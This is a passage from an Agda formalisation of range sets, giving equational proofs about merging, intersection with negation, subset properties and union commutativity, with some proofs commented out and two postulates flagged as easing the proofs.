(ranges1 bs) (ranges1 (b ∷ bss))))) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b ∷ bss)))) =⟨ propIf3 (rangeIsEmpty (rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) == false) (emptyIntersection ⦃ o ⦄ ⦃ dio ⦄ BoundaryBelowAll a b) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b ∷ bss)))) =⟨ merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ bs ⟩ [] end lemma2 ⦃ o ⦄ ⦃ dio ⦄ bs@(a@(BoundaryBelowAll) ∷ b ∷ bs2@(c ∷ bss)) = (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (setBounds1 bs)))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ (ranges1 bs2)) (ranges1 (b ∷ bs2))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ (ranges1 bs2)) ((Rg b c) ∷ (ranges1 bss))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg b c)) ∷ (if_then_else_ (b < c) (merge2 (ranges1 bs2) (ranges1 (b ∷ bs2))) (merge2 (ranges1 bs) (ranges1 bss)))) =⟨ cong (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false)) (cong ((rangeIntersection (Rg a b) (Rg b c)) ∷_) (propIf2 (b < c) (orderedBoundaries3 ⦃ o ⦄ ⦃ dio ⦄ b c))) ⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg b c)) ∷ (merge2 (ranges1 bs2) (ranges1 (b ∷ bs2)))) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg a b) (Rg b c)) == false) ((rangeIntersection (Rg a b) (Rg b c)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs2) (ranges1 (b ∷ bs2))))) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs2) (ranges1 (b ∷ bs2)))) =⟨ propIf3 (rangeIsEmpty (rangeIntersection (Rg a b) (Rg b c)) == false) (emptyIntersection2 ⦃ o ⦄ ⦃ dio ⦄ a b c) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs2) (ranges1 (b ∷ bs2)))) =⟨ merge2Empty ⦃ o ⦄ ⦃ dio ⦄ (b ∷ bs2) ⟩ [] end lemma2 ⦃ o ⦄ ⦃ dio ⦄ bs@(a@(BoundaryBelowAll) ∷ b@(BoundaryAboveAll) ∷ []) = (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (setBounds1 bs)))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ (ranges1 [])) (ranges1 (setBounds1 (a ∷ b ∷ [])))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false)(merge2 ((Rg a b) ∷ []) (ranges1 (b ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ []) []) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [] =⟨⟩ [] end lemma2 ⦃ o ⦄ ⦃ dio ⦄ bs@(a@(BoundaryBelowAll) ∷ b@(BoundaryBelowAll) ∷ []) = (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (setBounds1 bs)))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ (ranges1 [])) (ranges1 (setBounds1 (a ∷ b ∷ [])))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ []) (ranges1 (b ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ []) ((Rg b BoundaryAboveAll) ∷ [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) ∷ (if_then_else_ (b < BoundaryAboveAll) (merge2 [] (ranges1 (setBounds1 bs))) (merge2 (ranges1 bs) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) ∷ (if_then_else_ true (merge2 [] (ranges1 (setBounds1 bs))) (merge2 (ranges1 bs) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) ∷ (merge2 [] (ranges1 (setBounds1 bs)))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) ∷ []) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) == false) ((rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [])) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨ propIf3' ⦃ o ⦄ {((rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []))} {(filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) } (rangeIsEmpty (rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) == false) (emptyIntersection2 ⦃ o ⦄ ⦃ dio ⦄ a b BoundaryAboveAll) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨⟩ [] end lemma2 ⦃ o ⦄ ⦃ dio ⦄ bs@(a@(BoundaryBelowAll) ∷ b@(BoundaryAbove x) ∷ []) = (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (setBounds1 bs)))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ (ranges1 [])) (ranges1 (setBounds1 (a ∷ b ∷ [])))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ []) (ranges1 (b ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ []) ((Rg b BoundaryAboveAll) ∷ [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) ∷ (if_then_else_ (b < BoundaryAboveAll) (merge2 [] (ranges1 (setBounds1 bs))) (merge2 (ranges1 bs) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) ∷ (if_then_else_ true (merge2 [] (ranges1 (setBounds1 bs))) (merge2 (ranges1 bs) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) ∷ (merge2 [] (ranges1 (setBounds1 bs)))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) ∷ []) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) == false) ((rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [])) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨ propIf3 (rangeIsEmpty (rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) == false) (emptyIntersection2 ⦃ o ⦄ ⦃ dio ⦄ a b BoundaryAboveAll) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨⟩ [] end lemma2 ⦃ o ⦄ ⦃ dio ⦄ bs@(a@(BoundaryBelowAll) ∷ b@(BoundaryBelow x) ∷ []) = (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (setBounds1 bs)))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ (ranges1 [])) (ranges1 (setBounds1 (a ∷ b ∷ [])))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ []) (ranges1 (b ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ []) ((Rg b BoundaryAboveAll) ∷ [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) ∷ (if_then_else_ (b < BoundaryAboveAll) (merge2 [] (ranges1 (setBounds1 bs))) (merge2 (ranges1 bs) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) ∷ (if_then_else_ true (merge2 [] (ranges1 (setBounds1 bs))) (merge2 (ranges1 bs) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) ∷ (merge2 [] (ranges1 (setBounds1 bs)))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) ∷ []) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) == false) ((rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [])) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨ propIf3 (rangeIsEmpty (rangeIntersection (Rg a b) (Rg b BoundaryAboveAll)) == false) (emptyIntersection2 ⦃ o ⦄ ⦃ dio ⦄ a b BoundaryAboveAll) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨⟩ [] end merge2' : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → List (Range a) → List (Range a) → List (Range a) merge2' ms1 ms2 = merge2 ms2 ms1 prop_empty_intersection : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (rs : RSet a) → {prf : IsTrue (validRangeList (rSetRanges rs))} → rSetIsEmpty (rSetIntersection rs {prf} (rSetNegation rs {prf}) {negation2 rs (negation rs prf)}) ≡ true prop_empty_intersection ⦃ o ⦄ ⦃ dio ⦄ rs@(RS ranges) {prf} = begin rSetIsEmpty (rSetIntersection rs {prf} (rSetNegation rs {prf}) {negation2 rs {prf} (negation rs prf)}) =⟨⟩ rSetIsEmpty (rSetIntersection rs {prf} (RS (ranges1 ⦃ o ⦄ ⦃ dio ⦄ (setBounds1 ⦃ o ⦄ ⦃ dio ⦄ (bounds1 ⦃ o ⦄ ⦃ dio ⦄ ranges))) {negation rs prf}) {negation2 rs {prf} (negation rs prf)} ) =⟨⟩ rSetIsEmpty (RS (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ranges (ranges1 ⦃ o ⦄ ⦃ dio ⦄ (setBounds1 ⦃ o ⦄ ⦃ dio ⦄ (bounds1 ⦃ o ⦄ ⦃ dio ⦄ ranges))))) {intersection0 rs (RS (ranges1 (setBounds1 (bounds1 ranges))) {negation rs prf}) prf (negation rs prf)}) =⟨⟩ rangesAreEmpty (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ranges (ranges1 ⦃ o ⦄ ⦃ dio ⦄ (setBounds1 ⦃ o ⦄ ⦃ dio ⦄ (bounds1 ⦃ o ⦄ ⦃ dio ⦄ ranges))))) =⟨ cong rangesAreEmpty (cong (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false)) (cong (merge2' (ranges1 ⦃ o ⦄ ⦃ dio ⦄ (setBounds1 ⦃ o ⦄ ⦃ dio ⦄ (bounds1 ⦃ o ⦄ ⦃ dio ⦄ ranges)))) (sym (lemma0 rs {prf})))) ⟩ rangesAreEmpty (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 ⦃ o ⦄ ⦃ dio ⦄ (bounds1 ⦃ o ⦄ ⦃ dio ⦄ ranges)) (ranges1 ⦃ o ⦄ ⦃ dio ⦄ (setBounds1 ⦃ o ⦄ ⦃ dio ⦄ (bounds1 ⦃ o ⦄ ⦃ dio ⦄ ranges))))) =⟨ cong rangesAreEmpty (lemma2 ⦃ o ⦄ ⦃ dio ⦄ (bounds1 ⦃ o ⦄ ⦃ dio ⦄ ranges)) ⟩ rangesAreEmpty ⦃ o ⦄ ⦃ dio ⦄ [] =⟨⟩ true end prop_subset : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (rs : RSet a) → {prf : IsTrue (validRangeList (rSetRanges rs))} → rSetIsSubset rs {prf} rs {prf} ≡ true prop_subset ⦃ o ⦄ ⦃ dio ⦄ rs {prf} = begin rSetIsSubset rs {prf} rs {prf} =⟨⟩ rSetIsEmpty (rSetDifference rs {prf} rs {prf}) =⟨⟩ rSetIsEmpty (rSetIntersection rs {prf} (rSetNegation rs {prf}) {negation2 rs (negation rs prf)}) =⟨ prop_empty_intersection ⦃ o ⦄ ⦃ dio ⦄ rs {prf} ⟩ true end prop_strictSubset : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (rs : RSet a) → {prf : IsTrue (validRangeList (rSetRanges rs))} → rSetIsSubsetStrict rs {prf} rs {prf} ≡ false prop_strictSubset ⦃ o ⦄ ⦃ dio ⦄ rs {prf} = begin rSetIsSubsetStrict rs {prf} rs {prf} =⟨⟩ rSetIsEmpty (rSetDifference rs {prf} rs {prf}) && (not (rSetIsEmpty (rSetDifference rs {prf} rs {prf}))) =⟨⟩ rSetIsEmpty (rSetIntersection rs {prf} (rSetNegation rs {prf}) {negation2 rs (negation rs prf)}) && (not (rSetIsEmpty (rSetDifference rs {prf} rs {prf}))) =⟨ cong (_&& (not (rSetIsEmpty (rSetDifference rs {prf} rs {prf})))) (prop_empty_intersection ⦃ o ⦄ ⦃ dio ⦄ rs {prf}) ⟩ true && (not (rSetIsEmpty (rSetIntersection rs {prf} (rSetNegation rs {prf}) {negation2 rs (negation rs prf)}))) =⟨⟩ (not (rSetIsEmpty (rSetIntersection rs {prf} (rSetNegation rs {prf}) {negation2 rs (negation rs prf)}))) =⟨ cong not (prop_empty_intersection ⦃ o ⦄ ⦃ dio ⦄ rs {prf}) ⟩ not true =⟨⟩ false end -- prop_union : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (rs1 : RSet a) → (rs2 : RSet a) -- → {prf1 : IsTrue (validRangeList (rSetRanges rs1))} → {prf2 : IsTrue (validRangeList (rSetRanges rs2))} -- → (v : a) → (rSetHas rs1 {prf1} v || rSetHas rs2 {prf2} v) ≡ -- (rSetHas (rSetUnion rs1 {prf1} rs2 {prf2}) {union2 rs1 rs2 prf1 prf2 (unionn rs1 rs2 prf1 prf2)} v) -- prop_union ⦃ o ⦄ ⦃ dio ⦄ rs1@(RS []) rs2@(RS []) {prf1} {prf2} v = -- begin -- (rSetHas rs1 {prf1} v || rSetHas rs2 {prf2} v) -- =⟨⟩ -- (false || false) -- =⟨⟩ -- false -- =⟨⟩ -- (rSetHas (RS [] {empty ⦃ o ⦄ ⦃ dio ⦄}) {empty ⦃ o ⦄ ⦃ dio ⦄} v) -- =⟨⟩ -- (rSetHas (rSetUnion rs1 {prf1} rs2 {prf2}) {unionn rs1 rs2 prf1 prf2} v) -- end -- prop_union ⦃ o ⦄ ⦃ dio ⦄ rs1@(RS []) rs2@(RS rg1@(r1 ∷ rss1)) {prf1} {prf2} v = -- begin -- (rSetHas rs1 {prf1} v || rSetHas rs2 {prf2} v) -- =⟨⟩ -- (false || rSetHas rs2 {prf2} v) -- =⟨⟩ -- rSetHas rs2 {prf2} v -- =⟨⟩ -- (rSetHas (rSetUnion rs1 {prf1} rs2 {prf2}) {unionn rs1 rs2 prf1 prf2} v) -- end -- prop_union ⦃ o ⦄ ⦃ dio ⦄ rs1@(RS rg@(r1 ∷ rss1)) rs2@(RS []) {prf1} {prf2} v = -- begin -- (rSetHas rs1 {prf1} v || rSetHas rs2 {prf2} v) -- =⟨⟩ -- (rSetHas rs1 {prf1} v || false) -- =⟨ prop_or_false2 (rSetHas rs1 {prf1} v) ⟩ -- (rSetHas rs1 {prf1} v) -- =⟨⟩ -- (rSetHas (rSetUnion rs1 {prf1} rs2 {prf2}) {unionn rs1 rs2 prf1 prf2} v) -- end -- prop_union ⦃ o ⦄ ⦃ dio ⦄ rs1@(RS rg1@(r1 ∷ rss1)) rs2@(RS rg2@(r2 ∷ rss2)) {prf1} {prf2} v = -- begin -- (rSetHas rs1 {prf1} v || rSetHas rs2 {prf2} v) -- =⟨ cong (_|| (rSetHas rs2 {prf2} v)) (rangeHasSym r1 (RS rss1 {headandtail rs1 prf1}) v {prf1}) ⟩ -- (((rangeHas r1 v) || (rSetHas (RS rss1 {headandtail rs1 prf1}) {headandtail rs1 prf1} v)) || (rSetHas rs2 {prf2} v)) -- =⟨ prop_or_assoc (rangeHas r1 v) (rSetHas (RS rss1 {headandtail rs1 prf1}) {headandtail rs1 prf1} v) (rSetHas rs2 {prf2} v) ⟩ -- ((rangeHas r1 v) || (rSetHas (RS rss1 {headandtail rs1 prf1}) {headandtail rs1 prf1} v) || (rSetHas rs2 {prf2} v)) -- =⟨ cong ((rangeHas r1 v) ||_) (prop_union (RS rss1) rs2 {headandtail rs1 prf1} {prf2} v) ⟩ -- ((rangeHas r1 v) || -- (rSetHas (rSetUnion (RS rss1) {headandtail rs1 prf1} rs2 {prf2}) -- {(union2 (RS rss1) rs2 (headandtail rs1 prf1) prf2 (unionn (RS rss1) rs2 (headandtail rs1 prf1) prf2))} v)) -- =⟨ sym (rangeHasSym r1 (rSetUnion (RS rss1) {headandtail rs1 prf1} rs2 {prf2}) v -- {union2 (RS rss1) rs2 (headandtail rs1 prf1) prf2 (unionn (RS rss1) rs2 (headandtail rs1 prf1) prf2)}) ⟩ -- RS (r1 ∷ (rSetRanges ((RS rss1) -\/- rs2))) -?- v -- =⟨ cong (_-?- v) (cong RS (union0 r1 (RS rss1) rs2)) ⟩ -- RS (rSetRanges ((RS (r1 ∷ rss1)) -\/- rs2)) -?- v -- =⟨ cong (_-?- v) (sym (rangeSetCreation ((RS (r1 ∷ rss1)) -\/- rs2))) ⟩ -- (rSetHas (rSetUnion rs1 {prf1} rs2 {prf2}) {union2 rs1 rs2 prf1 prf2 (unionn rs1 rs2 prf1 prf2)} v) -- end -- prop_union_has_sym : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ -- → (rs1 : RSet a) → (rs2 : RSet a) → (v : a) -- → ((rs1 -\/- rs2) -?- v) ≡ ((rs2 -\/- rs1) -?- v) -- prop_union_has_sym ⦃ o ⦄ ⦃ dio ⦄ rs1@(RS ranges1) rs2@(RS ranges2) v = -- begin -- ((rs1 -\/- rs2) -?- v) -- =⟨ sym (prop_union rs1 rs2 v) ⟩ -- ((rs1 -?- v) || (rs2 -?- v)) -- =⟨ prop_or_sym (rs1 -?- v) (rs2 -?- v) ⟩ -- ((rs2 -?- v) || (rs1 -?- v)) -- =⟨ prop_union rs2 rs1 v ⟩ -- ((rs2 -\/- rs1) -?- v) -- end -- prop_union_same_set : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (rs1 : RSet a) → (v : a) → ((rs1 -\/- rs1) -?- v) ≡ (rs1 -?- v) -- prop_union_same_set ⦃ o ⦄ ⦃ dio ⦄ rs1@(RS ranges1) v = -- begin -- ((rs1 -\/- rs1) -?- v) -- =⟨ sym (prop_union rs1 rs1 v) ⟩ -- ((rs1 -?- v) || (rs1 -?- v)) -- =⟨ prop_or_same_value (rs1 -?- v) ⟩ -- (rs1 -?- v) -- end prop_validNormalisedEmpty : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → validRangeList ⦃ o ⦄ ⦃ dio ⦄ (normaliseRangeList ⦃ o ⦄ ⦃ dio ⦄ []) ≡ true prop_validNormalisedEmpty ⦃ o ⦄ ⦃ dio ⦄ = begin validRangeList ⦃ o ⦄ ⦃ dio ⦄ (normaliseRangeList ⦃ o ⦄ ⦃ dio ⦄ []) =⟨⟩ validRangeList ⦃ o ⦄ ⦃ dio ⦄ [] =⟨⟩ true end postulate -- these postulates hold when r1 == r2 does not hold, used for easing the proofs for union/intersection commutes equalityRanges : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (r1 : Range a) → (r2 : Range a) → (r1 < r2) ≡ (not (r2 < r1)) equalityRanges2 : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (r1 : Range a) → (r2 : Range a) → (rangeUpper r1 < rangeUpper r2) ≡ (not (rangeUpper r2 < rangeUpper r1)) prop_sym_merge1' : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (rs1 : List (Range a)) → (rs2 : List (Range a)) → ⦃ ne1 : NonEmpty rs1 ⦄ → ⦃ ne2 : NonEmpty rs2 ⦄ → (b : Bool) → if_then_else_ b ((head rs1 ⦃ ne1 ⦄) ∷ (merge1 (tail rs1 ⦃ ne1 ⦄) rs2)) ((head rs2 ⦃ ne2 ⦄) ∷ (merge1 rs1 (tail rs2 ⦃ ne2 ⦄))) ≡ if_then_else_ (not b) ((head rs2 ⦃ ne2 ⦄) ∷ (merge1 (tail rs2 ⦃ ne2 ⦄) rs1)) ((head rs1 ⦃ ne1 ⦄) ∷ (merge1 rs2 (tail rs1 ⦃ ne1 ⦄))) prop_sym_merge1 : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (rs1 : List (Range a)) → (rs2 : List (Range a)) → merge1 rs1 rs2 ≡ merge1 rs2 rs1 prop_sym_merge1 ⦃ o ⦄ ⦃ dio ⦄ [] [] = refl prop_sym_merge1 ⦃ o ⦄ ⦃ dio ⦄ ms1@(h1 ∷ t1) [] = refl prop_sym_merge1 ⦃ o ⦄ ⦃ dio ⦄ [] ms2@(h2 ∷ t2) = refl prop_sym_merge1 ⦃ o ⦄ ⦃ dio ⦄ ms1@(h1 ∷ t1) ms2@(h2 ∷ t2) = begin merge1 ms1 ms2 =⟨⟩ if_then_else_ (h1 < h2) (h1 ∷ (merge1 t1 ms2)) (h2 ∷ (merge1 ms1 t2)) =⟨ prop_sym_merge1' ⦃ o ⦄ ⦃ dio ⦄ ms1 ms2 (h1 < h2) ⟩ if_then_else_ (not (h1 < h2)) (h2 ∷ (merge1 t2 ms1)) (h1 ∷ (merge1 ms2 t1)) =⟨ cong (ifThenElseHelper (h2 ∷ (merge1 t2 ms1)) (h1 ∷ (merge1 ms2 t1))) (sym (equalityRanges h2 h1)) ⟩ if_then_else_ (h2 < h1) (h2 ∷ (merge1 t2 ms1)) (h1 ∷ (merge1 ms2 t1)) =⟨⟩ merge1 ms2 ms1 end prop_sym_merge1' ⦃ o ⦄ ⦃ dio ⦄ ms1@(h1 ∷ t1) ms2@(h2 ∷ t2) true = begin if_then_else_ true (h1 ∷ (merge1 t1 ms2)) (h2 ∷ (merge1 ms1 t2)) =⟨⟩ (h1 ∷ (merge1 t1 ms2)) =⟨ cong (h1 ∷_) (prop_sym_merge1 ⦃ o ⦄ ⦃ dio ⦄ t1 ms2) ⟩ (h1 ∷ (merge1 ms2 t1)) =⟨⟩ if_then_else_ false (h2 ∷ (merge1 t2 ms1)) (h1 ∷ (merge1 ms2 t1)) end prop_sym_merge1' ⦃ o ⦄ ⦃ dio ⦄ ms1@(h1 ∷ t1) ms2@(h2 ∷ t2) false = begin if_then_else_ false (h1 ∷ (merge1 t1 ms2)) (h2 ∷ (merge1 ms1 t2)) =⟨⟩ (h2 ∷ (merge1 ms1 t2)) =⟨ cong (h2 ∷_) (prop_sym_merge1 ⦃ o ⦄ ⦃ dio ⦄ ms1 t2) ⟩ (h2 ∷ (merge1 t2 ms1)) =⟨⟩ if_then_else_ true (h2 ∷ (merge1 t2 ms1)) (h1 ∷ (merge1 ms2 t1)) end prop_sym_sortedRangeList : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (ls1 ls2 : List (Range a)) → (sortedRangeList (merge1 ls1 ls2)) ≡ (sortedRangeList (merge1 ls2 ls1)) prop_sym_sortedRangeList ⦃ o ⦄ ⦃ dio ⦄ ls1 ls2 = (cong sortedRangeList (prop_sym_merge1 ls1 ls2)) prop_sym_validRanges : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (ls1 ls2 : List (Range a)) → (validRanges (merge1 ls1 ls2)) ≡ (validRanges (merge1 ls2 ls1)) prop_sym_validRanges ⦃ o ⦄ ⦃ dio ⦄ ls1 ls2 = (cong validRanges (prop_sym_merge1 ls1 ls2)) prop_union_commutes : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (rs1 : RSet a) → (rs2 : RSet a) → {prf1 : IsTrue (validRangeList (rSetRanges rs1))} → {prf2 : IsTrue (validRangeList (rSetRanges rs2))} → (rSetUnion rs1 {prf1} rs2 {prf2}) ≡ (rSetUnion rs2 {prf2} rs1 {prf1}) prop_union_commutes (RS []) (RS []) = refl prop_union_commutes (RS ranges@(r ∷ rs)) (RS []) = refl prop_union_commutes (RS []) (RS ranges@(r ∷ rs)) = refl prop_union_commutes ⦃ o ⦄ ⦃ dio ⦄ RS1@(RS ls1@(r1 ∷ rs1)) RS2@(RS ls2@(r2 ∷ rs2)) {prf1} {prf2} = begin (rSetUnion RS1 {prf1} RS2 {prf2}) =⟨⟩ RS ⦃ o ⦄ ⦃ dio ⦄ (normalise ⦃ o ⦄ ⦃ dio ⦄ (merge1 ⦃ o ⦄ ⦃ dio ⦄ ls1 ls2) ⦃ merge1Sorted RS1 RS2 prf1 prf2 ⦄ ⦃ merge1HasValidRanges RS1 RS2 prf1 prf2 ⦄) {unionHolds RS1 RS2 prf1 prf2} =⟨ rangesEqiv (rangesEqiv2 (merge1Sorted RS1 RS2 prf1 prf2) (merge1HasValidRanges RS1 RS2 prf1 prf2) (merge1Sorted RS2 RS1 prf2 prf1) (merge1HasValidRanges RS2 RS1 prf2 prf1) (prop_sym_merge1 ls1 ls2)) ⟩ RS ⦃ o ⦄ ⦃ dio ⦄ (normalise ⦃ o ⦄ ⦃ dio ⦄ (merge1 ⦃ o ⦄ ⦃ dio ⦄ ls2 ls1) ⦃ merge1Sorted RS2 RS1 prf2 prf1 ⦄ ⦃ merge1HasValidRanges RS2 RS1 prf2 prf1 ⦄) {unionHolds RS2 RS1 prf2 prf1} =⟨⟩ (rSetUnion RS2 {prf2} RS1 {prf1}) end prop_sym_merge2 : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (rs1 : List (Range a)) → (rs2 : List (Range a)) → merge2 rs1 rs2 ≡ merge2 rs2 rs1 prop_sym_merge2' : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (rs1 : List (Range a)) → (rs2 : List (Range a)) → ⦃ ne1 : NonEmpty rs1 ⦄ → ⦃ ne2 : NonEmpty rs2 ⦄ → (b : Bool) → (if_then_else_ b (merge2 (tail rs1 ⦃ ne1 ⦄) rs2) (merge2 rs1 (tail rs2 ⦃ ne2 ⦄))) ≡ (if_then_else_ (not b) (merge2 (tail rs2 ⦃ ne2 ⦄) rs1) (merge2 rs2 (tail rs1 ⦃ ne1 ⦄))) prop_sym_merge2' ⦃ o ⦄ ⦃ dio ⦄ ms1@(h1 ∷ t1) ms2@(h2 ∷ t2) true = begin (if_then_else_ true 